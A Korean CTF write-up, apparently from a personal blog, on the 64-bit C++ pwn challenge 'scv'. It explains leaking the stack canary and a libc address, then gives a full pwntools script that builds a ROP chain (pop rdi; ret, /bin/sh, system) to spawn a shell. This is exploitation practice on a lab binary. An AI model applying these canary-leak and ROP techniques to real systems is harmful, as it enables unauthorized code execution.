64비트, C++, ROP, 카나리릭, libc릭-scv
아주 간단한 카나리릭, libc릭 문제였다.
C++형태이고, 64비트 문제라서 조금 생소했다.
read를 하고, 입력 받은 것을 출력해주는데, 이때 릭을 했다.
카나리릭+libc릭->카나리와 /bin/sh주고, system주소 알아낼 수 있다.
+)카나리는 항상 \x00으로 끝난다!
리턴어드레스에는 pop rdi; ret을 넣어준다.
64비트에서는 함수 호출규약이 조금 다르다. 스택기반이 아닌 레지스터로!
rdi로 들어간다.
그래서 pop rdi; ret;을 이용해서 rdi에 /bin/sh주소를 넣어주고, 그 다음 리턴 어드레스에 system주소를 넣어준다!
from pwn import *
prdir=0x400ea3 #pop rdi; ret
s=process('./scv')
#raw_input()
s.recv(1024)
s.send('1\n')
s.recv(1024)
s.send("a"*40+"\n")
s.recv(1024)
s.send("2\n")
leak=s.recv(1024)[0xb2:0xb8]
leak+="\x00\x00"
leak=u64(leak)
sh=leak+0x1440f9
system=leak+0xa186
print ("/bin/sh : "+hex(sh))
print ("system : "+hex(system))
s.send("1\n")
s.recv(1024)
s.send("b"*169)
s.recv(1024)
s.send("2\n")
canary="\x00"
canary+=s.recv(1024)[0x133:0x13a]
canary=u64(canary)
print("canary : "+hex(canary))
s.send("1\n")
s.recv(1024)
payload="a"*168+p64(canary)
payload+="b"*(184-len(payload))
payload+=p64(prdir) #pop rdi; ret;
payload+=p64(sh) #rdi<-/bin/sh
payload+=p64(system)
s.send(payload)
s.recv(1024)
s.send("3\n")
s.recv(1024)
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
contact-공백이용해서 ret덮어버리는 문제 (0) | 2018.01.11 |
---|---|
start_hard-64비트 SROP, 브루트포스 (0) | 2018.01.09 |
enjoy_rop-ROP+SROP (0) | 2018.01.06 |
rop2-ROP+SROP (0) | 2018.01.05 |
rop1-ROP+SROP (0) | 2018.01.02 |